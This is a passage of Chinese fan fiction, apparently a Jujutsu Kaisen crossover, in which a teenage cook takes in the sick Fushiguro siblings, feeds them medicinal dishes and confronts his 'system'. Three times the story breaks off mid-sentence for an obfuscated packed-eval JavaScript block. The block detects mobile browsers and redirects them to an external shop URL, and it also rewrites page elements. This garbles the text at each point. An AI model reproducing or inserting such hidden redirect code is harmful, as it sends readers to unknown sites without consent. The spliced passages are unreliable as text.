栗秋焰拉开冰箱,看着里面的东西露出了笑容。 “谁说我没准备的?” / 伏黑惠拎着沉重的塑料袋,深一脚浅一脚地慢慢走在路上。 一黑一白两条小狗跟在身边,担忧地绕着他的腿团团转,一只似乎用鼻子从下往上顶着袋子,似乎想帮忙让他省点力。 伏黑惠露出了笑容,想摸摸玉犬的头,但手刚伸出就被从一下重咳的颤抖打断了。 接着,连续不断的咳嗽让他小小的身体摇晃起来,被手上沉重的袋子带着差点摔倒,玉犬发出一声呜咽的吠叫,但伏黑惠还是险险稳住了身体。 “没事……我只是生病了,吃了药就会好起来的。”伏黑惠喃喃着抓紧装着药的袋子:“姐姐比我病得更重,必须……赶紧回去。” 但是……好渴啊,好饿啊。 姐姐昨晚就发烧晕倒了,现在还躺在床上。他已经将近一天没吃东西了,水也只喝过一点。 虽然现在正是酷暑,他却病得身上发冷,那一点冷水流下咽喉时让他打了个哆嗦。 喉咙又痒又痛,胃里空空如也,伏黑惠摇摇晃晃地走在路上,只能根据头上投下的绿荫,以及眼前清晰又模糊的道路重影,判断出自己走进了那个家附近的公园里。 快到了,再坚持一会儿就可以了。 伏黑惠安慰自己。 但是……真的好饿啊……好渴啊…… 好想吃点喝点什么东西……什么也好…… 就在伏黑惠意识恍惚的时候,一道中气十足的清亮少年音却像一柄刺破暑气的冰刀,猛地闯入耳中。 “喂!都说了每人限购一份!你以为换个女装我就认不出来你了吗!你之前买过了——给我放下!” 伏黑惠迷茫地抬头,先是被一条排成长龙还绕了一圈的队伍惊了一下,接着就看到圈中央横眉竖眼的黑发绿眸少年。 他面前的推车上放着三个大桶,旁边是摞起来的一次性塑料杯,三个小杯子放在前面,依次盛着不同颜色的液体,似乎是试喝。 这好像是个……卖饮料的? 但一个饮料至于这么大阵仗吗?难道说那个摊主是什么大明星吗?看脸倒确实有可能…… “哎哟小弟弟,你也来排队啊?”一个自来熟的姐姐指了指前面:“别瞎凑热闹,你可以先去尝一点试喝再来排。然后你就会发现——卧槽今天之内喝不到这个我马上引爆地球。” 伏黑惠:“……不了。” “真得试试!你看那三个,摊主说那分别是山楂核桃茶、双花饮、丁香酸梅汤,我最喜欢那个双花饮,听说是用银花、菊花、山楂和蜂蜜做的……好喝绝了!” 似乎是为了增加说服力,女生指了指前面:“你看那个人,宁愿女装都要重新回来排队再买一份。” 伏黑惠向前看,发现少年摊主对面,还真的是个戴粉帽穿粉红裙,浓妆艳抹的……身材壮硕的男人。 男人看着少年,疑惑又震惊道:“你怎么看出我是男扮女装的呢?” 伏黑惠:“……” “你的伪装堪称无懈可击。”少年深沉道:“但我是高中生侦探栗秋焰。所以你把手里的东西放下,然后——等等,他要跑!拦住他!” 男人骤然转身,冲出人群的同时还不忘珍惜地护住手中的饮料……所以他也就没看底下。 砰! 伏黑惠被这一冲撞得摔倒在地,手里的塑料袋也摔在了地上,而男人被一绊也一个趔趄,然后被周围的人按倒在地。 而这男人在被按倒后的第一个反应,竟然是面目狰狞地……把手里的饮料一口全喝光了。 伏黑惠:……至于吗? 而这一摔伏黑惠又剧烈地咳嗽起来,重影越来越厉害,他眼前一黑,闭上了眼睛。 似乎意识只消失了短短的一瞬间,但当伏黑惠睁开眼睛猛地坐起时,发现身边就是那个叫栗秋焰的少年摊主,而小推车前排成长龙的队伍消失得一干二净。 绿荫从头顶铺落而下,伏黑惠愣愣地看着少年低垂眼眸,手指轻轻搭在自己的手腕上,他的表情认真得近乎锐利,但那双顿了顿后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234787|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望过来的眼眸,却柔和温暖得如同暖玉。 “醒了?”栗秋焰说:“咳逆上气,脉浮紧,恶寒……舌头伸出来我看看。” 伏黑惠愣了一下,迟钝的大脑还没反应过来怎么回事,但还是乖乖吐出了舌头。 “舌苔薄白滑利……果然是风寒咳嗽。”栗秋焰点点头,递过来一杯热水:“先喝。饿了吧?我先给你弄点东西吃。” 伏黑惠下意识接过,热水的温度通过手心流至全身,他下意识喝了一口,痛痒的喉咙纾解开来,发冷的沉闷胸口也温暖起来,迷蒙的大脑也清醒了过来。 前面那一大串天书伏黑惠完全没听懂,只听懂了栗秋焰的后半句。看到栗秋焰站起来,将糖倒进咕嘟作响的锅中——伏黑惠嗅到了牛奶的味道。他连忙有些慌乱地站起来。 “那个……不用麻烦的。很感谢您照看我……”伏黑惠拿着杯热水,手足无措道:“但是真的不用……我还得回家。我姐姐……” “我知道。你那买的药一看就是双人份,肯定是家里还有人生病,而且很严重——否则也不至于让你来买药。” 栗秋焰头也不抬,熄了火搅拌着锅中的甜牛奶。 “但你饿成这样……家里唯一能做饭的那个躺床上了是吧?饿肚子吃药,不怕再胃痛病上加病?到时候两个人躺床上谁照顾谁?” “等会我再做点饱肚子的,糖不甩知道吗?也叫如意果,是甜甜的小丸子。吃完后再带一份半生的回去——放水里煮到飘起来就行,这个会吧?等你姐姐醒了,也让她吃点东西再吃药。” 栗秋焰说着,伸手用手背试了试锅外壁的温度,点了点头。 伏黑惠自记事以来,父亲就几乎没见过几面,继母态度日渐敷衍冷漠,近来更是直接撒手不管。 仿佛长久生活在孤冷的阴影中,只有姐姐相依为命。他几乎没怎么得到过这样的关切善意。 因为陌生,这让他仿佛被这突如其来,又朴实直接的温暖刺痛了般,手指松开又攥紧,捧着杯子的手心流下了汗。 “我……” 伏黑惠张开口,却又说不出话。 “好了——不知道说什么,就吃东西好了。”栗秋焰笑起来:“看,我给你变个魔法。” 伏黑惠睁大眼睛。 栗秋焰高高抬起手,将手中碗里的牛奶从高处倒下,仿佛一道纤细的乳白瀑布,散发着甜蜜的牛乳香气,撞进了另一个盛放着黄色汁液的碗中。 “这是……姜吗?”伏黑惠吸了吸鼻子,一向沉默老成的眉眼间,露出了几分稚气的好奇与高兴。“……我喜欢姜。” “嗯哼,风寒鼻塞,还能准确嗅出食材的气味,敏锐度不错嘛——要不要跟我学做菜啊?” 栗秋焰笑着随口道,拿筷子轻轻搅拌了几下碗中的液体。 过了一小会儿,伏黑惠瞪大眼睛,看着原本的液体变成了凝脂般柔软的固体。 “好神奇……”黑发小孩眼睛亮亮的:“真的是魔法吗?” “是哦,是栗秋大哥哥施展了让食物变得更好吃的魔法!”栗秋焰将碗推了推,笑道:“尝尝吧,这个叫姜撞奶。” 伏黑惠拿起勺子,轻轻挖了一勺。 豆腐般软滑的姜撞奶摇晃着,伏黑惠小心翼翼地送进口中,眼睛顿时更亮了。 “好吃!”伏黑惠用不可思议般的神情惊喜道:“原来还有这么好吃的东西……” 栗秋焰:“……这孩子平时过的都是什么日子啊。你家大人呢?” “……爸爸妈妈都不在。只有我和姐姐。”伏黑惠低下了头。“平时……是姐姐照料家里。我也想帮忙,但是……” “啊?”栗秋焰震惊了:“你多大?你姐多大?” “……我一年级。姐姐大我两岁。” 栗秋焰更震惊了:“啊????” 三年级小女孩操持全家大小事务,真的假的?! “所以……栗秋哥哥。” 伏黑惠抬起头,眼神坚定地看向栗秋焰。 “刚才说的,是真的吗?可以教我做饭吗?”伏黑惠期待道:“我真的很想……帮上姐姐的忙。” ——很难拒绝啊! 我的良心不会今天就要死在这里了吧! 栗秋焰低头看着他,有些为难地皱起眉。 “突然这么说,我也……等等。” 栗秋焰突然想起了什么,松开了眉头。 “你家是开放式厨房吗?”他严肃地问道。 “诶?”伏黑惠愣了愣:“不是……” “那就这么决定了!” 栗秋焰郑重其事地握住了伏黑惠的手。 “以后我就住在你家了。”栗秋焰说:“请多指教。” 伏黑惠:“……诶?” 10.教练,我想学做饭! “……事情就是这样。”伏黑惠艰难道。 半靠在床上的伏黑津美纪,额上贴着退烧贴,手里端着一杯热水,在袅袅升起的温热气息中,与弟弟茫然地对视。 “小惠,你的意思是……”伏黑津美纪同样开始艰难地尝试理解:“……你给我们捡了一个哥哥回来?” 伏黑惠沉默了一下。 “栗秋哥哥说,让我们把他当成普通的同居人就好。” “但是,我……” 黑发孩子抿起唇,低下了头。 明明,不该再对任何人抱有期待的。从明白父亲与继母彻底抛弃了他们之后,这一点就冰冷地刻进了理智深处。 但可能,生病让脑子真的糊涂了,又或许,是那碗姜撞奶实在太过美味……总之,他鬼使神差地就默认了栗秋焰的决定。 而且直到现在,都没有丝毫后悔的想法。 甚至,他还产生了一些不切实际的期望…… “小惠。” 一只手按在了他的头上。伏黑惠感受到姐姐手心中,因生病而起的高热。 伏黑津美纪想摸摸他的头,手指却软得没力气,稍稍一动就又开始咳嗽。 “姐姐!” “不用……没关系的,我没事。” 伏黑津美纪轻轻握住伏黑惠的手。女孩喘息了几声,露出安慰般的微笑,稚嫩的脸呈现出一种超越年龄的成熟。 “小惠,我知道。你相信那个栗秋先生,不然也不会将他带回家。但是啊,小惠,很多人……并不会像他外表表现出来的那样好。” 亲眼见证了父母离异,随着母亲颠簸又再次被亲生母亲抛弃,因苦难而被迫成熟的女孩勉强支撑着身体,她的笑容有些苦涩,眼睛因发烧而泛着红。 “虽然家里已经没有多少钱了,我们两也只是小孩子,看上去没有任何可贪图的地方……”伏黑津美纪慢慢地说:“但世上的黑暗太多了。也正因为我们是小孩,所以一旦遇上,就连反抗都做不到。小惠……” 伏黑惠咬住嘴唇,紧紧握住了津美纪的手。 “对不起,姐姐。”伏黑惠的声音绷紧了:“即使栗秋哥哥是好人,我也不应该不经过你的同意,就……” ……到底为什么,就这么坚定那个栗秋一定是好人呢? 津美纪有些无奈。 “你看,你说那个栗秋先生马上就来,但直到现在他都没出现啊。”她说:“没准他只是随口逗一下你,根本没有当真呢。” “不,栗秋哥哥他——” 伏黑惠下意识反驳,但话到半截突然打住,他张了张嘴,最后还是沉默地合上了。 他不愿相信……但是,栗秋焰到现在还没出现,确实是事实。 伏黑惠抿紧唇。 果然,还是变成这样了吗。 最终,什么都没有改变。他还是只能和姐姐两人相依为命,在这浓重郁沉的黑暗之中…… 砰! 昏沉的房间骤然一亮,光亮从张开的房门外嚣张闯入,随之而来的还有少年清亮的嗓音。 “对,窗帘全拉开,窗户也都打开——闷久了气儿都不通,怪不得生病——哎那艾草就别往里拿了,那是放门口的——” 伏黑惠眼睛亮了。 “是栗秋哥哥!” 黑发小孩噌地跳下了床,急急地向外跑去,没有看到伏黑津美纪抬起的手。 那个脚步声,明显不止一个人。那个栗秋还带了大人来! 不能让小惠一个人……! 伏黑津美纪心急如焚,咬了咬牙,硬是撑着发软的身体站起来,扶着墙跌跌撞撞地向外走去。 一出门,就被满室明晃晃的阳光晃了下眼。 今天的日光似乎格外明亮,明明已快至傍晚,仍张扬地洒了满室金亮,黑发绿眸的少年站在日光中,淡定地看着小男孩奔向他。 当看到第一眼时,伏黑津美纪顿时明白了,为何惠会如此信任这个人。 抛开柔和端丽的面容不谈,少年的气质太过特殊,那双碧眸通透纯粹,几乎不像此世中人。但当他笑起来时,那股轻灵的少年气又跳脱而出,令任何怀疑都变得像是一种阴暗的妄自揣测。 但……不行。还不能这么快信任他。即使是为了惠…… 津美纪咬着嘴唇,藏在门框后,认真地观察着那边的少年。 栗秋焰挑了挑眉,看着伏黑惠冲过来,然后一个急刹车停在了自己面前。 “……栗秋哥哥,你来了。” 伏黑惠看起来很激动,脸和耳朵都红了,但憋了半天,还是只在叮呤咣啷的响声中,憋出了一个干巴巴的问题。 “这些人是……?” “哦,我找的家政。虽说在种花风水中,大扫除可以祛除病气……”栗秋焰理直气壮道:“但不好意思,我是懒狗。” “但这个,很贵吧?”伏黑惠小声道:“其实,我来就……” “今天一下午卖饮料的钱就差不多啦,钱这东西什么时候赚不行?” 栗秋焰的眼珠转了转,随即蹲下来与他平视,严肃道:“惠惠,你还有更伟大的事业要进行!” 伏黑惠被震了一下,不禁也沉下了表情。 那些身体内隐约涌动的力量、只有他能看见的扭曲不明生物的样貌,一黑一白两只玉犬从影中浮现的场景……飞速从他的脑海中一闪而过。 伏黑惠郑重发问道:“是什么?” 远处的津美纪也紧张地屏住了呼吸。 “当然是……”栗秋焰严肃道:“学做饭。” 猝不及防的伏黑惠:……? 津美纪:??? “怎么这个表情?作为我栗秋焰的学生,一点斗志都没有!”栗秋焰用传|销头目般的语气激奋道:“——向着世界第二大厨的目标努力吧,惠惠!” 伏黑惠努力跟上他的思路:“……为什么不是第一?” “因为第一是我啊。”栗秋焰理所当然道。 伏黑惠沉默了。 他突然意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305925|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,栗秋哥哥确实不是什么坏人,但他可能…… 是个脑回路异常的神经病(医学意义上)。 而且…… 伏黑惠失落地垂下眼。 ……原来栗秋哥哥,也【看不见】吗? “好了,给你的书看了吗?折角的那几页背了吗?”栗秋焰突然站起,连珠炮似的边发问边向厨房走去:“晚饭做没做?你姐姐呢?” 栗秋哥哥的气势……有点变了。 伏黑惠怔了怔,慢了半拍才反应过来,小跑着跟上大步流星的栗秋焰,仰头认真地一个个回答他的问题。 “看了。背了。但是我的字认不全,所以只背了看懂的部分。”伏黑惠老实道:“晚饭没有做。姐姐还在床上休息。” “竟然看着家人饿肚子——耻辱!巨大的耻辱!”栗秋焰痛心疾首道:“放在我家的家训里,可是要被处以给披萨加菠萝、往小笼包里包草莓……这种恐怖酷刑的!” 伏黑惠太过年幼,对此一知半解,尚未知晓这种亵渎邪物的可怖……于是他只是假装听懂了般,表情严肃地点了点头。 看到两人马上要消失在视野中,津美纪连忙按着门框出来,苍白虚弱的手指伸出,在接触到阳光前瑟缩了一下,最后还是向前。 女孩浑身沐浴在阳光中,有些愣神地恍惚了一下,看着栗秋焰消失的背影才回过神来,扶着墙跌跌撞撞地向前走去。 也因此她没有注意到,在她踏出房间时,栗秋焰的唇角勾起,一缕笑意突然出现,又转瞬即逝。 栗秋焰踏进了厨房。他缓缓转过身来,背光中的脸模糊不清,伏黑惠仰着头,只能看到那双俯视的绿眸。 伏黑惠下意识屏住了呼吸,心中一跳。 气势……完全变了。 “伏黑惠。”栗秋焰难得正经地称呼了他的全名,平静道:“我只向你提出两点要求。任何一点做不到,就立刻离开。” 伏黑惠沉声道:“是。” “第一点,对于出口的承诺,必须担负其相应的责任。”栗秋焰审视着他:“你具备这种觉悟吗?” “是。”伏黑惠的表情十分坚定:“为了姐姐……不,为了所有我重视的人,我都将拼尽全力,努力到最后一刻。” 墙角的伏黑津美纪捂住了嘴巴,抵着墙的身体缓缓滑下,怔怔地坐在了地上。 栗秋焰眯起眼,仔细审视着伏黑惠的表情,半晌后,点了点头。 “然后,第二点……” 栗秋焰突然蹲了下来,凑近伏黑惠的耳侧。 “你那两只小狗,不许进我的厨房。”栗秋焰说:“还有你那些以后会召唤出来的小动物……通通都不许进,听到没有?” 明明是轻声的话语,却仿佛一道惊雷,在伏黑惠心中骤然炸响。 他猛地抬头,却只看到栗秋焰站起时唇角转瞬即逝的笑意,以及微微弯着的碧绿眼睛。 “栗秋哥哥!”伏黑惠差点破音:“你和我一样……你也能……你能【看到】!” 11.喜报:你被偷家了! 栗秋焰挑了挑眉。 “不是什么大不了的事啦,就跟你对食材的敏锐度一样,也是一种天赋。”栗秋焰轻描淡写道:“嘛,这个以后再说,眼下还有更重要的事吧?” 惊喜与混乱冲击着胸膛,伏黑惠大脑一片空白,下意识道:“……什么?” “做晚饭啊!”栗秋焰恨铁不成钢地敲了一下他的头:“你姐姐还饿着呢!” 伏黑惠瞬间清醒过来。 确实——这奇怪的困扰反正也持续这么长时间了,一时半会儿也不会如何。 但是姐姐可是【现在】就病着躺在床上啊! “栗秋哥哥!”伏黑惠脆生生道:“我们晚饭做什么?” “我想想……”栗秋焰眼睛转了转:“你已经看过你姐姐了吧,说一下认为需要注意的点。” 伏黑惠皱了皱眉,回忆着:“姐姐……手很热?眼睛有点红?” “不错嘛!即使是无意识,观察力也很细腻——也就比我当年差一点点,哼哼。” 栗秋焰边说着边一扬手,空空的案板上顿时填上了色彩,几样食材码好,整整齐齐地排列在案板上。从左到右分别是薄荷、薏仁、荆芥、葱白和豆豉。食材新鲜度十分高,薄荷叶上甚至还沾着水珠。 ——系统背包就是方便。 栗秋焰感叹了一句,随即手腕一转,一把菜刀出现在他手中,转过一圈漂亮的刀花后重重落下。 伏黑惠瞪大眼睛,看着栗秋焰手腕抖动,刀快到连残影都看不清,几乎是一瞬间,栗秋焰的刀已经抬了起来。 食材仍在案板上,保留着原样。栗秋焰平行抬臂,挥刀滑过空气。 仿佛某种无形的弦被拨动,食材瞬间倾倒——均匀到毫米的整齐薄片,映在银光一闪的刀面上。 栗秋焰再次下刀,将薄荷一分两份,其中一份排至一边。 “惠惠,这一份薄荷拿去,沸水浸泡。”栗秋焰一边手上不停,一边指挥道:“浸泡完后滤掉残渣,加白糖,糖度自己掌握,做一份薄荷砂糖饮。” “好、好的!” 伏黑惠立马应道,但好不容易想到拿筷子把薄荷刮进碗,接着又发现没有沸水,于是又手忙脚乱地去烧水。 而另一边,栗秋焰已行云流水地处理好食材,倒进锅中开始熬煮,其中还聊天般悠闲道。 “薄荷砂糖饮,很简单吧?而且对外感风寒、气滞、脘腹胀满都有治疗作用。” 栗秋焰目不斜视地注视着锅中的汤汁,却仿佛背后长眼睛般一只手伸过去,帮矮矮的伏黑惠把热水壶拎上来,同时继续道。 “这是薏仁粥,注意记住我是怎么做的哦,毕竟你现在还认不全字,而且我没有写菜谱的习惯。” 伏黑惠的眼睛已经开始转圈圈了。 “好的……”伏黑惠抿着嘴,认真地皱眉,试图强行记住:“先把这些食材切碎……” “啊,那个,其实不切碎也行的。”栗秋焰眨眨眼,“剂量对就行,可以把它们放进锅里,直接加水煮开。” “诶?”伏黑惠愣了一下,“那刚刚为什么……?” “为了耍帅。” 栗秋焰比出大拇指,露出了自信的笑容。 伏黑惠:…… 差点忘了,这人是个神经病啊!!! 可恶,但伏黑惠又不得不承认,刚刚他确实有被帅到震撼了一下…… “其实切碎更能快速释放药性啦,这样可以减少煎熬的时间。”栗秋焰淡定地提醒道:“惠惠,水开了哦。” 伏黑惠还来不及升起被耍的恼意,就被开水壶的尖叫吓了一跳,连忙赶去把水壶拿下来,小心翼翼地把水冲进盛有薄荷的碗里。 “同理可得,你做的饮料也需要减少浸泡时间。”锅中的汤同样开了,栗秋焰手指一转,平淡道:“然后这里滚开后,记得转文火慢熬……” “栗秋哥哥,等一下,我……我记不住……” 一年级小学生的脑子已经开始发晕了。 “诶?”天赋比·栗秋焰奇怪道:“还好吧,都是超级简单的菜式啊。我像你这么大的时候,已经能一手炒鱼香茄子,一手做葱爆二条了。” 第一次被“我像你这么大”的东亚家庭文化冲击到大脑宕机的伏黑惠:…… “好了,现在是检查作业时间。”栗秋焰突然道:“提问!薄荷的效用是什么?” “呃、呃……”伏黑惠下意识站直了,拼命回忆着之前背过的内容,“呃……散、散热,对头和眼睛好……用于风寒感冒、头痛、目赤……” “是疏风散热,清利头目。不错,过关了。”栗秋焰提醒道:“薄荷不要泡太久,叶底的苦涩味会留进水里的。” 伏黑惠连忙去拿滤网,这时又听栗秋焰说:“张嘴。” 伏黑惠下意识张嘴,然后嘴里就被推进了一块硬硬的东西。 ——入口是浓郁的姜味,然后舌尖泛起淡甜,咽下唾液后灼痛的喉咙一凉,舌底涌上回甘。 “这是……” “我做的甘草姜糖,好吃吧?”栗秋焰笑道:“答对了,当然要给奖励啦。” 伏黑惠愣了一下。 原来答对问题,是会有奖励的吗? 他看着眼前笑着的绿眸少年,突然鼻子有些发酸。 可是啊,栗秋哥哥。 我明明答对过许多问题,但我没有,从来没有……从这个世界上的任何地方,得到过奖励啊。 那个不切实际的期望,再一次无比鲜明地浮现在心底。 ——假如、假如能够实现的话,他愿意为此付出一切…… “哥哥……”伏黑惠小声地开口。 “嗯?” 栗秋焰刚洗完薏仁,也没听太清,闻言只是下意识应了一声,然后抬起头道:“怎么了?” “……没事。” 伏黑惠咬了咬唇,还是吞回了差点冲动出口的话。 ——想成为家人。 ……这样的愿望,现在这样帮不上忙的自己,实在是说不出口。 伏黑惠闷闷地走到栗秋焰身边,仿佛赌气般极认真地注视着栗秋焰的动作。 “不用紧张啦。”栗秋焰轻松地将汤汁滤去残渣,注入薏米中,“看,等上面的薏仁煮到酥烂开裂就好了……很简单的。” 伏黑惠一声不吭,只是认真地凝视着。 栗秋焰于是也没说话,只是笑着轻轻摸了摸他的脑袋。 ……没想到,这小海胆一样张扬舞爪的头发,摸起来竟然这么软软的。 “饮料的糖加好了吗?” “……加好了。”闷闷的声音带着点微妙的颤抖。 “那我先去把吃的端给你姐姐咯。”栗秋焰体贴地先行一步起身,把空间留给小孩:“等会记得过来,粥凉了就不好了——我也做了你的那份。” “……嗯。” 那微妙的颤抖似乎更严重了。 哎呀,真是难搞啊,小孩子。 栗秋焰咂了咂嘴,一手拿锅一手拿碗向外走去—— 慌乱的脚步声响起,虽然小声,但听到栗秋焰灵敏的耳朵中简直清晰得如在耳旁。 他转过墙角一看。 ——地上一只掉落的粉色拖鞋,似乎在诉说着女孩匆忙逃跑时的慌乱。 ……真是难搞啊,小孩子。 栗秋焰再次在心里发出感叹。 / 伏黑津美纪滚倒床上时,因急跑而怦怦乱跳的心脏仍然无法平息。 怎么办怎么办……肯定留下坏印象了吧……怎么办…… 她把头埋进枕头里,发出无声的尖叫。 看到现在,她已经充分明白——弟弟真的是中大奖了。 津美纪的手指攥紧床单。 她知道小惠的未尽之言是什么。 因为……她也想啊。 假如真的能有这样的“哥哥”……该有多好…… 一起做饭、聊天、玩笑……简直就像是最美好的梦中才会出现的,幻想过无数次的…… ——属于“家”的想象。 敲门声响起。 “津美纪小姐,你醒了吗?”栗秋焰的声音说:“吃晚饭咯。” “……” 栗秋焰又敲了敲,试探道:“我进来了?” “……” 栗秋焰转动门把,推门而入,果不其然地看到了躺在床上,闭着眼睛——正在装睡的伏黑津美纪。 哎呀…… 栗秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305926|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焰无奈地笑了笑。 “薏仁粥就是空腹吃的,不会反胃酸不舒服……对你现在的身体也有好处。” 一声轻响,是碗被放在床头柜上的声音。 “等你想见的时候再来见我吧。”栗秋焰将一只粉色的拖鞋轻轻放在另一只旁边,温和地笑道。 “我走了。记得好好吃饭呀,小辛德瑞拉。” 栗秋焰转身刚准备走,就被一双手突然抱住了腰。 “别走……!” 似乎是压抑已久的情绪终于找到了出口,女孩的声音爆发而出,带着颤抖的哭腔。 “那两个人怎样都好!反正他们已经把我们抛弃了……那个女人就算了,就连小惠的父亲也……不,他们根本不配当父母!” 栗秋焰感觉到后腰漫开一片温热的濡湿。 ……明明说着狠话,但却还是流着眼泪啊。 似乎将积压已久的眼泪全部流出来般,女孩边哭边哽咽着。 “我和小惠已经没有任何亲人了……我知道这很自私,但我真的忍不住……”她说:“留下来,好不好,哥哥?” 栗秋焰叹了一口气。 ……所以说真的是很难搞啊!小孩子! 他转过身来,同样摸了摸伏黑津美纪的头。 “……好啦。”栗秋焰轻声道:“放开我,先吃饭?” 伏黑津美纪已经停止了哭泣。似乎突然做出这么幼稚的举动让她有点害羞,她埋着头不看栗秋焰,但却仍牢牢抱着他的腰。 “……不要。”津美纪闷闷道:“栗秋哥哥肯定会趁机逃跑的吧。” “真不会。”栗秋焰更无奈了:“我跟你们那两个不负责任的人渣父母不一样啦。” “……真的?” “人送外号真话大王就是在下。”栗秋焰就差对天发誓了。 伏黑津美纪噗嗤一笑。但也缓缓松开了手。 “这样就对了嘛。”栗秋焰拨开女孩被泪水糊湿、粘在眼上的发丝,笑着将粥递给她:“来,尝一口?” 伏黑津美纪接过了碗。 一勺柔软香滑的薏米粥被送入口中,她突然眼睛一眨,又滚下泪来。 “好吃……”眼泪掉进粥里,她呜咽着道:“好好吃……” 栗秋焰头痛地叹了一口气。 说真的,这幸好不在家,要是被意国老爸知道他惹哭一个女孩这么多次,估计会被阴阳怪气不知道多久…… “好啦,打起精神来,有一件事,我不问你可不行啊。”栗秋焰决定转移津美纪的注意力,他眨了眨眼睛:“——今晚我该睡在哪间房,这位尊敬的小女主人?” “诶、诶?”伏黑津美纪脸红了。 “……可以让栗秋哥哥睡在主卧吧。” 伏黑惠走了进来,表情平静,完全看不出刚刚的情绪起伏,手上还端着碗一模一样的粥。 姐弟俩对视了一眼。 “可是,那不是你爸爸的房间吗……”津美纪犹豫道。 “那个男人怎么样都无所谓吧。反正我都没见过他几次。”伏黑惠面无表情:“是他先不要我们的。” 伏黑津美纪陷入了沉默,随即点了点头。 “栗秋哥哥,跟我来。”伏黑惠牵住了栗秋焰的手,“我带你去爸……不,是那个男人的房间。” 栗秋焰从善如流地跟着伏黑惠,但在这时,手机突然响起,在他掏出手机后又骤然停下。 栗秋焰看着屏幕,疑惑地皱起眉。 “硝子?她怎么会打电话给我……还打两声就挂了?” 他继续翻通话记录——然后他突然想起了一件很重要的事。 锅啊!!!他的锅!!! 栗秋焰立刻打通了那个电话,迅速报上了伏黑家的地址,在收到孔时雨马上转接给送货人的保证后,才安心地松了一口气。 锅啊,我朝思夜想的炒菜大铁锅……没有你的日子,我真的好难过…… 还好,今晚就能等到了,现在就差送货上门了。 栗秋焰高兴地喝了一大口粥,然后……开始往回打家入硝子的电话。 而与此同时,接收到地址的伏黑甚尔皱起了眉。 ——怎么总感觉,这个地址这么耳熟呢? 12.对于被偷家,甚尔给出的反应是……? 【这不可能!!!】 栗秋焰本来正在按手机按键,被这突然的尖叫吓了一跳,按下的手指一滑,选中了通讯录中的后一位,本来要回拨的按键也按成了删除。 一套连招迅速而丝滑,等栗秋焰反应过来的时候,他才发现他已经错过了按取消的机会。 所以他就这么行云流水地……把五条悟号码删了。 栗秋焰:…… 听起来就像摔了一跤手指不小心点进游戏界面充了个648一样离谱啊! “系统,你干什么!”栗秋焰痛心疾首道:“你知道你给五条悟带去了多大的伤害吗——他可是失去了我的电话号码啊!” 【……那种事根本不重要吧!】系统的声音高亢,比起激动更像是不可思议:【宿主,你到底做了什么!我竟然真的收到了能量——】 “做了什么……做了饭啊。” 栗秋焰打了个哈欠,吐槽道。 “至于能量,不是说了有‘强烈的情绪’就ok了么,这不是意料之中的事。”他说:“比起那个我的海鲜呢?” 【不不不,你根本不知道这意味着什么!系统界之所以有那么多攻略系统,就是因为人类处于爱情关系中时,情绪强度最大,能量最强。】 【而宿主你竟然不凭借任何道具,只是区区亲情,竟然能引起在近似于‘一见钟情’程度的能量强度,甚至连伏黑姐姐这种npc,都能引发出类攻略角色的情绪能量——】 “喂短短一句话你每个词都在侮辱人啊!” 栗秋焰震声打断。 “什么叫区区亲情,而且用爱情的形容词去定义所有的情感更是离大谱——你这恋爱脑机器别太看不起人类啊,可恶!” 他捏紧拳头,怒火之下,他甚至没有注意到自己的拳头逐渐隐隐蒙上一层铁灰色,闪烁着夹杂于虚实之间的奇妙色彩。 “真正让我生气的是,活生生的人在面前,就因为不是那个‘攻略对象’,就变成所谓的npc了么?” 那是个会吃着薏米粥掉眼泪的女孩啊。伏黑惠也不是所谓冷冰冰的“攻略对象”——一个只负责提供反应的容器,会因为吃到姜糖而脸红么? 色彩流动起来,让他的拳头彻底虚化。 系统注意到了,惊悚道:【宿主!你……】 “——我知道,本质上我也非常傲慢,因为我也在用我的理念强行审判你。但听到这种说法真讨厌啊,把我的好心情都破坏掉了。” 栗秋焰冷冷道。 “所以,给我付出代价。” 话音刚落,他就向着自己的太阳穴,狠狠挥出一拳! 明明是朝向自己,但这一下却毫无留手,拳风呼啸而至,然后骤然穿过皮肤,在虚空之中狠狠击中了某物。 【——&%&*&*!!!】 系统发出一声尖锐的鸣响后便是混乱不清的噪音,假如它有人形的话,此时应该正捂着肚子满地打滚。 在这背景音中,栗秋焰放下了手。假如有外人在场估计会觉得十分惊悚,毕竟他正从自己的脑子里抽出手臂—— “比想象中轻松啊。”栗秋焰淡定道:“其实我也不确定能不能成功。” 毕竟术式发动的条件是【全心全意】,至今也只有在料理相关的事上成功过……这能算与料理相关吗? 概念系,小子! 是俺寻思,我加了俺寻思之力! 栗秋焰张开手指,铁灰色的虚幻色彩开始消褪。 